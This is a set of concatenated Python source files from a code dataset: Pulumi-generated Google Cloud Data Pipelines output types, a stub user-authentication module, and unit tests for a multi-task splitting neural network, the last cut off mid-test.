GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, environment: 'outputs.GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse', job_name: str, parameters: Mapping[str, str], transform_name_mapping: Mapping[str, str], update: bool): """ Parameters to provide to the template being launched. :param 'GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse' environment: The runtime environment for the job. :param str job_name: The job name to use for the created job. :param Mapping[str, str] parameters: The runtime parameters to pass to the job. :param Mapping[str, str] transform_name_mapping: Map of transform name prefixes of the job to be replaced to the corresponding name prefixes of the new job. Only applicable when updating a pipeline. :param bool update: If set, replace the existing pipeline with the name specified by jobName with this pipeline, preserving state. """ pulumi.set(__self__, "environment", environment) pulumi.set(__self__, "job_name", job_name) pulumi.set(__self__, "parameters", parameters) pulumi.set(__self__, "transform_name_mapping", transform_name_mapping) pulumi.set(__self__, "update", update) @property @pulumi.getter def environment(self) -> 'outputs.GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse': """ The runtime environment for the job. """ return pulumi.get(self, "environment") @property @pulumi.getter(name="jobName") def job_name(self) -> str: """ The job name to use for the created job. """ return pulumi.get(self, "job_name") @property @pulumi.getter def parameters(self) -> Mapping[str, str]: """ The runtime parameters to pass to the job. """ return pulumi.get(self, "parameters") @property @pulumi.getter(name="transformNameMapping") def transform_name_mapping(self) -> Mapping[str, str]: """ Map of transform name prefixes of the job to be replaced to the corresponding name prefixes of the new job. Only applicable when updating a pipeline. """ return pulumi.get(self, "transform_name_mapping") @property @pulumi.getter def update(self) -> bool: """ If set, replace the existing pipeline with the name specified by jobName with this pipeline, preserving state. """ return pulumi.get(self, "update") @pulumi.output_type class GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse(dict): """ A request to launch a template. """ @staticmethod def __key_warning(key: str): suggest = None if key == "gcsPath": suggest = "gcs_path" elif key == "launchParameters": suggest = "launch_parameters" elif key == "validateOnly": suggest = "validate_only" if suggest: pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, gcs_path: str, launch_parameters: 'outputs.GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse', location: str, project: str, validate_only: bool): """ A request to launch a template. :param str gcs_path: A Cloud Storage path to the template from which to create the job. Must be a valid Cloud Storage URL, beginning with 'gs://'. :param 'GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse' launch_parameters: The parameters of the template to launch. This should be part of the body of the POST request. :param str location: The [regional endpoint] (https://cloud.google.com/dataflow/docs/concepts/regional-endpoints) to which to direct the request. :param str project: The ID of the Cloud Platform project that the job belongs to. :param bool validate_only: If true, the request is validated but not actually executed. Defaults to false. """ pulumi.set(__self__, "gcs_path", gcs_path) pulumi.set(__self__, "launch_parameters", launch_parameters) pulumi.set(__self__, "location", location) pulumi.set(__self__, "project", project) pulumi.set(__self__, "validate_only", validate_only) @property @pulumi.getter(name="gcsPath") def gcs_path(self) -> str: """ A Cloud Storage path to the template from which to create the job. Must be a valid Cloud Storage URL, beginning with 'gs://'. """ return pulumi.get(self, "gcs_path") @property @pulumi.getter(name="launchParameters") def launch_parameters(self) -> 'outputs.GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse': """ The parameters of the template to launch. This should be part of the body of the POST request. """ return pulumi.get(self, "launch_parameters") @property @pulumi.getter def location(self) -> str: """ The [regional endpoint] (https://cloud.google.com/dataflow/docs/concepts/regional-endpoints) to which to direct the request. """ return pulumi.get(self, "location") @property @pulumi.getter def project(self) -> str: """ The ID of the Cloud Platform project that the job belongs to. """ return pulumi.get(self, "project") @property @pulumi.getter(name="validateOnly") def validate_only(self) -> bool: """ If true, the request is validated but not actually executed. Defaults to false. """ return pulumi.get(self, "validate_only") @pulumi.output_type class GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse(dict): """ The environment values to set at runtime. """ @staticmethod def __key_warning(key: str): suggest = None if key == "additionalExperiments": suggest = "additional_experiments" elif key == "additionalUserLabels": suggest = "additional_user_labels" elif key == "bypassTempDirValidation": suggest = "bypass_temp_dir_validation" elif key == "enableStreamingEngine": suggest = "enable_streaming_engine" elif key == "ipConfiguration": suggest = "ip_configuration" elif key == "kmsKeyName": suggest = "kms_key_name" elif key == "machineType": suggest = "machine_type" elif key == "maxWorkers": suggest = "max_workers" elif key == "numWorkers": suggest = "num_workers" elif key == "serviceAccountEmail": suggest = "service_account_email" elif key == "tempLocation": suggest = "temp_location" elif key == "workerRegion": suggest = "worker_region" elif key == "workerZone": suggest = "worker_zone" if suggest: pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, additional_experiments: Sequence[str], additional_user_labels: Mapping[str, str], bypass_temp_dir_validation: bool, enable_streaming_engine: bool, ip_configuration: str, kms_key_name: str, machine_type: str, max_workers: int, network: str, num_workers: int, service_account_email: str, subnetwork: str, temp_location: str, worker_region: str, worker_zone: str, zone: str): """ The environment values to set at runtime. :param Sequence[str] additional_experiments: Additional experiment flags for the job. :param Mapping[str, str] additional_user_labels: Additional user labels to be specified for the job. Keys and values should follow the restrictions specified in the [labeling restrictions](https://cloud.google.com/compute/docs/labeling-resources#restrictions) page. An object containing a list of key/value pairs. Example: { "name": "wrench", "mass": "1kg", "count": "3" }. :param bool bypass_temp_dir_validation: Whether to bypass the safety checks for the job's temporary directory. Use with caution. :param bool enable_streaming_engine: Whether to enable Streaming Engine for the job. :param str ip_configuration: Configuration for VM IPs. :param str kms_key_name: Name for the Cloud KMS key for the job. The key format is: projects//locations//keyRings//cryptoKeys/ :param str machine_type: The machine type to use for the job. Defaults to the value from the template if not specified. :param int max_workers: The maximum number of Compute Engine instances to be made available to your pipeline during execution, from 1 to 1000. :param str network: Network to which VMs will be assigned. If empty or unspecified, the service will use the network "default". :param int num_workers: The initial number of Compute Engine instances for the job. :param str service_account_email: The email address of the service account to run the job as. :param str subnetwork: Subnetwork to which VMs will be assigned, if desired. You can specify a subnetwork using either a complete URL or an abbreviated path. Expected to be of the form "https://www.googleapis.com/compute/v1/projects/HOST_PROJECT_ID/regions/REGION/subnetworks/SUBNETWORK" or "regions/REGION/subnetworks/SUBNETWORK". If the subnetwork is located in a Shared VPC network, you must use the complete URL. :param str temp_location: The Cloud Storage path to use for temporary files. Must be a valid Cloud Storage URL, beginning with `gs://`. :param str worker_region: The Compute Engine region (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1". Mutually exclusive with worker_zone. If neither worker_region nor worker_zone is specified, default to the control plane's region. :param str worker_zone: The Compute Engine zone (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1-a". Mutually exclusive with worker_region. If neither worker_region nor worker_zone is specified, a zone in the control plane's region is chosen based on available capacity. If both `worker_zone` and `zone` are set, `worker_zone` takes precedence. :param str zone: The Compute Engine [availability zone](https://cloud.google.com/compute/docs/regions-zones/regions-zones) for launching worker instances to run your pipeline. In the future, worker_zone will take precedence. """ pulumi.set(__self__, "additional_experiments", additional_experiments) pulumi.set(__self__, "additional_user_labels", additional_user_labels) pulumi.set(__self__, "bypass_temp_dir_validation", bypass_temp_dir_validation) pulumi.set(__self__, "enable_streaming_engine", enable_streaming_engine) pulumi.set(__self__, "ip_configuration", ip_configuration) pulumi.set(__self__, "kms_key_name", kms_key_name) pulumi.set(__self__, "machine_type", machine_type) pulumi.set(__self__, "max_workers", max_workers) pulumi.set(__self__, "network", network) pulumi.set(__self__, "num_workers", num_workers) pulumi.set(__self__, "service_account_email", service_account_email) pulumi.set(__self__, "subnetwork", subnetwork) pulumi.set(__self__, "temp_location", temp_location) pulumi.set(__self__, "worker_region", worker_region) pulumi.set(__self__, "worker_zone", worker_zone) pulumi.set(__self__, "zone", zone) @property @pulumi.getter(name="additionalExperiments") def additional_experiments(self) -> Sequence[str]: """ Additional experiment flags for the job. """ return pulumi.get(self, "additional_experiments") @property @pulumi.getter(name="additionalUserLabels") def additional_user_labels(self) -> Mapping[str, str]: """ Additional user labels to be specified for the job. Keys and values should follow the restrictions specified in the [labeling restrictions](https://cloud.google.com/compute/docs/labeling-resources#restrictions) page. An object containing a list of key/value pairs. Example: { "name": "wrench", "mass": "1kg", "count": "3" }. """ return pulumi.get(self, "additional_user_labels") @property @pulumi.getter(name="bypassTempDirValidation") def bypass_temp_dir_validation(self) -> bool: """ Whether to bypass the safety checks for the job's temporary directory. Use with caution. """ return pulumi.get(self, "bypass_temp_dir_validation") @property @pulumi.getter(name="enableStreamingEngine") def enable_streaming_engine(self) -> bool: """ Whether to enable Streaming Engine for the job. """ return pulumi.get(self, "enable_streaming_engine") @property @pulumi.getter(name="ipConfiguration") def ip_configuration(self) -> str: """ Configuration for VM IPs. """ return pulumi.get(self, "ip_configuration") @property @pulumi.getter(name="kmsKeyName") def kms_key_name(self) -> str: """ Name for the Cloud KMS key for the job. The key format is: projects//locations//keyRings//cryptoKeys/ """ return pulumi.get(self, "kms_key_name") @property @pulumi.getter(name="machineType") def machine_type(self) -> str: """ The machine type to use for the job. Defaults to the value from the template if not specified. """ return pulumi.get(self, "machine_type") @property @pulumi.getter(name="maxWorkers") def max_workers(self) -> int: """ The maximum number of Compute Engine instances to be made available to your pipeline during execution, from 1 to 1000. """ return pulumi.get(self, "max_workers") @property @pulumi.getter def network(self) -> str: """ Network to which VMs will be assigned. If empty or unspecified, the service will use the network "default". """ return pulumi.get(self, "network") @property @pulumi.getter(name="numWorkers") def num_workers(self) -> int: """ The initial number of Compute Engine instances for the job. """ return pulumi.get(self, "num_workers") @property @pulumi.getter(name="serviceAccountEmail") def service_account_email(self) -> str: """ The email address of the service account to run the job as. """ return pulumi.get(self, "service_account_email") @property @pulumi.getter def subnetwork(self) -> str: """ Subnetwork to which VMs will be assigned, if desired. You can specify a subnetwork using either a complete URL or an abbreviated path. Expected to be of the form "https://www.googleapis.com/compute/v1/projects/HOST_PROJECT_ID/regions/REGION/subnetworks/SUBNETWORK" or "regions/REGION/subnetworks/SUBNETWORK". If the subnetwork is located in a Shared VPC network, you must use the complete URL. """ return pulumi.get(self, "subnetwork") @property @pulumi.getter(name="tempLocation") def temp_location(self) -> str: """ The Cloud Storage path to use for temporary files. Must be a valid Cloud Storage URL, beginning with `gs://`. """ return pulumi.get(self, "temp_location") @property @pulumi.getter(name="workerRegion") def worker_region(self) -> str: """ The Compute Engine region (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1". Mutually exclusive with worker_zone. If neither worker_region nor worker_zone is specified, default to the control plane's region. """ return pulumi.get(self, "worker_region") @property @pulumi.getter(name="workerZone") def worker_zone(self) -> str: """ The Compute Engine zone (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1-a". Mutually exclusive with worker_region. If neither worker_region nor worker_zone is specified, a zone in the control plane's region is chosen based on available capacity. If both `worker_zone` and `zone` are set, `worker_zone` takes precedence. """ return pulumi.get(self, "worker_zone") @property @pulumi.getter def zone(self) -> str: """ The Compute Engine [availability zone](https://cloud.google.com/compute/docs/regions-zones/regions-zones) for launching worker instances to run your pipeline. In the future, worker_zone will take precedence. """ return pulumi.get(self, "zone") @pulumi.output_type class GoogleCloudDatapipelinesV1ScheduleSpecResponse(dict): """ Details of the schedule the pipeline runs on. """ @staticmethod def __key_warning(key: str): suggest = None if key == "nextJobTime": suggest = "next_job_time" elif key == "timeZone": suggest = "time_zone" if suggest: pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1ScheduleSpecResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: GoogleCloudDatapipelinesV1ScheduleSpecResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: GoogleCloudDatapipelinesV1ScheduleSpecResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, next_job_time: str, schedule: str, time_zone: str): """ Details of the schedule the pipeline runs on. :param str next_job_time: When the next Scheduler job is going to run. :param str schedule: Unix-cron format of the schedule. This information is retrieved from the linked Cloud Scheduler. :param str time_zone: Timezone ID. This matches the timezone IDs used by the Cloud Scheduler API. If empty, UTC time is assumed. """ pulumi.set(__self__, "next_job_time", next_job_time) pulumi.set(__self__, "schedule", schedule) pulumi.set(__self__, "time_zone", time_zone) @property @pulumi.getter(name="nextJobTime") def next_job_time(self) -> str: """ When the next Scheduler job is going to run. """ return pulumi.get(self, "next_job_time") @property @pulumi.getter def schedule(self) -> str: """ Unix-cron format of the schedule. This information is retrieved from the linked Cloud Scheduler. """ return pulumi.get(self, "schedule") @property @pulumi.getter(name="timeZone") def time_zone(self) -> str: """ Timezone ID. This matches the timezone IDs used by the Cloud Scheduler API. If empty, UTC time is assumed. """ return pulumi.get(self, "time_zone") @pulumi.output_type class GoogleCloudDatapipelinesV1WorkloadResponse(dict): """ Workload details for creating the pipeline jobs. """ @staticmethod def __key_warning(key: str): suggest = None if key == "dataflowFlexTemplateRequest": suggest = "dataflow_flex_template_request" elif key == "dataflowLaunchTemplateRequest": suggest = "dataflow_launch_template_request" if suggest: pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1WorkloadResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: GoogleCloudDatapipelinesV1WorkloadResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: GoogleCloudDatapipelinesV1WorkloadResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, dataflow_flex_template_request: 'outputs.GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse', dataflow_launch_template_request: 'outputs.GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse'): """ Workload details for creating the pipeline jobs. :param 'GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse' dataflow_flex_template_request: Template information and additional parameters needed to launch a Dataflow job using the flex launch API. :param 'GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse' dataflow_launch_template_request: Template information and additional parameters needed to launch a Dataflow job using the standard launch API. """ pulumi.set(__self__, "dataflow_flex_template_request", dataflow_flex_template_request) pulumi.set(__self__, "dataflow_launch_template_request", dataflow_launch_template_request) @property @pulumi.getter(name="dataflowFlexTemplateRequest") def dataflow_flex_template_request(self) -> 'outputs.GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse': """ Template information and additional parameters needed to launch a Dataflow job using the flex launch API. """ return pulumi.get(self, "dataflow_flex_template_request") @property @pulumi.getter(name="dataflowLaunchTemplateRequest") def dataflow_launch_template_request(self) -> 'outputs.GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse': """ Template information and additional parameters needed to launch a Dataflow job using the standard launch API. """ return pulumi.get(self, "dataflow_launch_template_request")

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1

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null

0

8

1a67eb1083fbcce160d6fb9b4f7083b0ef1d2e64

769

py

Python

users/users.py

TRUFA-rnaseq/trufa-users-ipa

1c0f050f05bdce9b6a2d480935dda5653b873ef5

[ "BSD-3-Clause" ]

null

users/users.py

TRUFA-rnaseq/trufa-users-ipa

1c0f050f05bdce9b6a2d480935dda5653b873ef5

[ "BSD-3-Clause" ]

null

users/users.py

TRUFA-rnaseq/trufa-users-ipa

1c0f050f05bdce9b6a2d480935dda5653b873ef5

[ "BSD-3-Clause" ]

null

#------------------------------------------------------------------------------- def checkUser( username, passwd ): return False #------------------------------------------------------------------------------- def checkIfUserAvailable( username ): return False #------------------------------------------------------------------------------- def getUserEmail( username ): return None #------------------------------------------------------------------------------- def allowPasswordChange( username ): return False #------------------------------------------------------------------------------- def changeUserPassword( username, oldpass, newpass ): return False #-------------------------------------------------------------------------------

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39,044

py

Python

tests/networks/splitting/test_multi_splitting_base.py

mtcrawshaw/meta-world

b511885af4405715c7b35f8295cef88021a926be

[ "MIT" ]

4

2021-09-21T07:24:26.000Z

2022-03-25T00:28:33.000Z

tests/networks/splitting/test_multi_splitting_base.py

mtcrawshaw/meta

b511885af4405715c7b35f8295cef88021a926be

[ "MIT" ]

null

tests/networks/splitting/test_multi_splitting_base.py

mtcrawshaw/meta

b511885af4405715c7b35f8295cef88021a926be

[ "MIT" ]

null

""" Unit tests for meta/networks/splitting/multi_splitting_base.py. """ import math import random from itertools import product from typing import Dict, Any, List import numpy as np from scipy import stats import torch import torch.nn.functional as F from gym.spaces import Box from meta.networks.utils import init_base from meta.networks.splitting import BaseMultiTaskSplittingNetwork from meta.utils.estimate import alpha_to_threshold from tests.helpers import DEFAULT_SETTINGS, get_obs_batch from tests.networks.splitting import BASE_SETTINGS from tests.networks.splitting.templates import ( TOL, gradients_template, backward_template, grad_diffs_template, grad_stats_template, score_template, ) def test_forward_shared() -> None: """ Test forward() when all regions of the splitting network are fully shared. The function computed by the network should be f(x) = 3 * tanh(2 * tanh(x + 1) + 2) + 3. """ # Set up case. dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"] observation_subspace = Box( low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],) ) observation_subspace.seed(DEFAULT_SETTINGS["seed"]) hidden_size = dim # Construct network. network = BaseMultiTaskSplittingNetwork( input_size=dim, output_size=dim, num_tasks=BASE_SETTINGS["num_tasks"], num_layers=BASE_SETTINGS["num_layers"], hidden_size=hidden_size, device=BASE_SETTINGS["device"], ) # Set network weights. state_dict = network.state_dict() for i in range(BASE_SETTINGS["num_layers"]): weight_name = "regions.%d.0.0.weight" % i bias_name = "regions.%d.0.0.bias" % i state_dict[weight_name] = torch.Tensor((i + 1) * np.identity(dim)) state_dict[bias_name] = torch.Tensor((i + 1) * np.ones(dim)) network.load_state_dict(state_dict) # Construct batch of observations concatenated with one-hot task vectors. obs, task_indices = get_obs_batch( batch_size=BASE_SETTINGS["num_processes"], obs_space=observation_subspace, num_tasks=BASE_SETTINGS["num_tasks"], ) # Get output of network. output = network(obs, task_indices) # Computed expected output of network. expected_output = 3 * torch.tanh(2 * torch.tanh(obs + 1) + 2) + 3 # Test output of network. assert torch.allclose(output, expected_output) def test_forward_single() -> None: """ Test forward() when all regions of the splitting network are fully shared except one. The function computed by the network should be f(x) = 3 * tanh(2 * tanh(x + 1) + 2) + 3 for tasks 0 and 1 and f(x) = 3 * tanh(-2 * tanh(x + 1) - 2) + 3 for tasks 2 and 3. """ # Set up case. dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"] observation_subspace = Box( low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],) ) observation_subspace.seed(DEFAULT_SETTINGS["seed"]) hidden_size = dim # Construct network. network = BaseMultiTaskSplittingNetwork( input_size=dim, output_size=dim, num_tasks=BASE_SETTINGS["num_tasks"], num_layers=BASE_SETTINGS["num_layers"], hidden_size=hidden_size, device=BASE_SETTINGS["device"], ) # Split the network at the second layer. Tasks 0 and 1 stay assigned to the original # copy and tasks 2 and 3 are assigned to the new copy. network.split(1, 0, [0, 1], [2, 3]) # Set network weights. state_dict = network.state_dict() for i in range(BASE_SETTINGS["num_layers"]): weight_name = "regions.%d.0.0.weight" % i bias_name = "regions.%d.0.0.bias" % i state_dict[weight_name] = torch.Tensor((i + 1) * np.identity(dim)) state_dict[bias_name] = torch.Tensor((i + 1) * np.ones(dim)) weight_name = "regions.1.1.0.weight" bias_name = "regions.1.1.0.bias" state_dict[weight_name] = torch.Tensor(-2 * np.identity(dim)) state_dict[bias_name] = torch.Tensor(-2 * np.ones(dim)) network.load_state_dict(state_dict) # Construct batch of observations concatenated with one-hot task vectors. obs, task_indices = get_obs_batch( batch_size=BASE_SETTINGS["num_processes"], obs_space=observation_subspace, num_tasks=BASE_SETTINGS["num_tasks"], ) # Get output of network. output = network(obs, task_indices) # Computed expected output of network. expected_output = torch.zeros(obs.shape) for i, (ob, task) in enumerate(zip(obs, task_indices)): if task in [0, 1]: expected_output[i] = 3 * torch.tanh(2 * torch.tanh(ob + 1) + 2) + 3 elif task in [2, 3]: expected_output[i] = 3 * torch.tanh(-2 * torch.tanh(ob + 1) - 2) + 3 else: raise NotImplementedError # Test output of network. assert torch.allclose(output, expected_output) def test_forward_multiple() -> None: """ Test forward() when none of the layers are fully shared. The function computed by the network should be: - f(x) = 3 * tanh(2 * tanh(x + 1) + 2) + 3 for task 0 - f(x) = -3 * tanh(-2 * tanh(x + 1) - 2) - 3 for task 1 - f(x) = -3 * tanh(1/2 * tanh(-x - 1) + 1/2) - 3 for task 2 - f(x) = 3 * tanh(-2 * tanh(-x - 1) - 2) + 3 for task 3 """ # Set up case. dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"] observation_subspace = Box( low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],) ) observation_subspace.seed(DEFAULT_SETTINGS["seed"]) hidden_size = dim # Construct network. network = BaseMultiTaskSplittingNetwork( input_size=dim, output_size=dim, num_tasks=BASE_SETTINGS["num_tasks"], num_layers=BASE_SETTINGS["num_layers"], hidden_size=hidden_size, device=BASE_SETTINGS["device"], ) # Split the network at the second layer. Tasks 0 and 1 stay assigned to the original # copy and tasks 2 and 3 are assigned to the new copy. network.split(0, 0, [0, 1], [2, 3]) network.split(1, 0, [0, 2], [1, 3]) network.split(1, 0, [0], [2]) network.split(2, 0, [0, 3], [1, 2]) # Set network weights. state_dict = network.state_dict() for i in range(BASE_SETTINGS["num_layers"]): for j in range(3): weight_name = "regions.%d.%d.0.weight" % (i, j) bias_name = "regions.%d.%d.0.bias" % (i, j) if weight_name not in state_dict: continue if j == 0: state_dict[weight_name] = torch.Tensor((i + 1) * np.identity(dim)) state_dict[bias_name] = torch.Tensor((i + 1) * np.ones(dim)) elif j == 1: state_dict[weight_name] = torch.Tensor(-(i + 1) * np.identity(dim)) state_dict[bias_name] = torch.Tensor(-(i + 1) * np.ones(dim)) elif j == 2: state_dict[weight_name] = torch.Tensor(1 / (i + 1) * np.identity(dim)) state_dict[bias_name] = torch.Tensor(1 / (i + 1) * np.ones(dim)) else: raise NotImplementedError network.load_state_dict(state_dict) # Construct batch of observations concatenated with one-hot task vectors. obs, task_indices = get_obs_batch( batch_size=BASE_SETTINGS["num_processes"], obs_space=observation_subspace, num_tasks=BASE_SETTINGS["num_tasks"], ) # Get output of network. output = network(obs, task_indices) # Computed expected output of network. expected_output = torch.zeros(obs.shape) for i, (ob, task) in enumerate(zip(obs, task_indices)): if task == 0: expected_output[i] = 3 * torch.tanh(2 * torch.tanh(ob + 1) + 2) + 3 elif task == 1: expected_output[i] = -3 * torch.tanh(-2 * torch.tanh(ob + 1) - 2) - 3 elif task == 2: expected_output[i] = ( -3 * torch.tanh(1 / 2 * torch.tanh(-ob - 1) + 1 / 2) - 3 ) elif task == 3: expected_output[i] = 3 * torch.tanh(-2 * torch.tanh(-ob - 1) - 2) + 3 else: raise NotImplementedError # Test output of network. assert torch.allclose(output, expected_output) def test_split_single() -> None: """ Test that split() correctly sets new parameters when we perform a single split. """ # Set up case. dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"] observation_subspace = Box( low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],) ) observation_subspace.seed(DEFAULT_SETTINGS["seed"]) hidden_size = dim # Construct network. network = BaseMultiTaskSplittingNetwork( input_size=dim, output_size=dim, num_tasks=BASE_SETTINGS["num_tasks"], num_layers=BASE_SETTINGS["num_layers"], hidden_size=hidden_size, device=BASE_SETTINGS["device"], ) # Split the network at the last layer, so that tasks 0 and 2 stay assigned to the # original copy and tasks 1 and 3 are assigned to the new copy. network.split(2, 0, [0, 2], [1, 3]) # Check the parameters of the network. param_names = [name for name, param in network.named_parameters()] # Construct expected parameters of network. region_copies = {i: [0] for i in range(BASE_SETTINGS["num_layers"])} region_copies[2].append(1) expected_params = [] for region, copies in region_copies.items(): for copy in copies: expected_params.append("regions.%d.%d.0.weight" % (region, copy)) expected_params.append("regions.%d.%d.0.bias" % (region, copy)) # Test actual parameter names. assert set(param_names) == set(expected_params) def test_split_multiple() -> None: """ Test that split() correctly sets new parameters when we perform multiple splits. """ # Set up case. dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"] observation_subspace = Box( low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],) ) observation_subspace.seed(DEFAULT_SETTINGS["seed"]) hidden_size = dim # Construct network. network = BaseMultiTaskSplittingNetwork( input_size=dim, output_size=dim, num_tasks=BASE_SETTINGS["num_tasks"], num_layers=BASE_SETTINGS["num_layers"], hidden_size=hidden_size, device=BASE_SETTINGS["device"], ) # Split the network at the first layer once and the last layer twice. network.split(0, 0, [0, 1], [2, 3]) network.split(2, 0, [0, 2], [1, 3]) network.split(2, 1, [1], [3]) # Check the parameters of the network. param_names = [name for name, param in network.named_parameters()] # Construct expected parameters of network. region_copies = {i: [0] for i in range(BASE_SETTINGS["num_layers"])} region_copies[0].extend([1]) region_copies[2].extend([1, 2]) expected_params = [] for region, copies in region_copies.items(): for copy in copies: expected_params.append("regions.%d.%d.0.weight" % (region, copy)) expected_params.append("regions.%d.%d.0.bias" % (region, copy)) # Test actual parameter names. assert set(param_names) == set(expected_params) def test_backward_shared() -> None: """ Test that the backward() function correctly computes gradients in the case of a fully shared network. """ splits_args = [] backward_template(BASE_SETTINGS, splits_args) def test_backward_single() -> None: """ Test that the backward() function correctly computes gradients in the case of a single split. """ splits_args = [ {"region": 1, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] backward_template(BASE_SETTINGS, splits_args) def test_backward_multiple() -> None: """ Test that the backward() function correctly computes gradients in the case of multiple splits. """ splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 1, "copy": 0, "group1": [0], "group2": [2]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] backward_template(BASE_SETTINGS, splits_args) def test_task_grads_shared() -> None: """ Test that `get_task_grads()` correctly computes task-specific gradients at each region of the network in the case of a fully shared network. """ splits_args = [] gradients_template(BASE_SETTINGS, splits_args) def test_task_grads_single() -> None: """ Test that `get_task_grads()` correctly computes task-specific gradients at each region of the network in the case of a single split network. """ splits_args = [ {"region": 1, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] gradients_template(BASE_SETTINGS, splits_args) def test_task_grads_multiple() -> None: """ Test that `get_task_grads()` correctly computes task-specific gradients at each region of the network in the case of a multiple split network. """ splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 1, "copy": 0, "group1": [0], "group2": [2]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] gradients_template(BASE_SETTINGS, splits_args) def test_task_grad_diffs_zero_euclidean() -> None: """ Test that `get_task_grad_diffs()` correctly computes the pairwise Euclidean distance between task-specific gradients at each region when these gradients are hard-coded to zero. """ settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" grad_diffs_template(settings, "zero") def test_task_grad_diffs_rand_identical_euclidean() -> None: """ Test that `get_task_grad_diffs()` correctly computes the pairwise Euclidean distance between task-specific gradients at each region when these gradients are random, but identical across tasks. """ settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" grad_diffs_template(settings, "rand_identical") def test_task_grad_diffs_rand_euclidean() -> None: """ Test that `get_task_grad_diffs()` correctly computes the pairwise Euclidean distance between task-specific gradients at each region when these gradients are random. """ settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" grad_diffs_template(settings, "rand") def test_task_grad_diffs_zero_cosine() -> None: """ Test that `get_task_grad_diffs()` correctly computes the pairwise cosine distance between task-specific gradients at each region when these gradients are hard-coded to zero. """ settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" grad_diffs_template(settings, "zero") def test_task_grad_diffs_rand_identical_cosine() -> None: """ Test that `get_task_grad_diffs()` correctly computes the pairwise cosine distance between task-specific gradients at each region when these gradients are random, but identical across tasks. """ settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" grad_diffs_template(settings, "rand_identical") def test_task_grad_diffs_rand_cosine() -> None: """ Test that `get_task_grad_diffs()` correctly computes the pairwise cosine distance between task-specific gradients at each region when these gradients are random. """ settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" grad_diffs_template(settings, "rand") def test_task_grad_stats_zero_euclidean_shared() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when the gradients are always zero, with a fully shared network. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [] # Construct a sequence of task gradients. settings["num_steps"] = 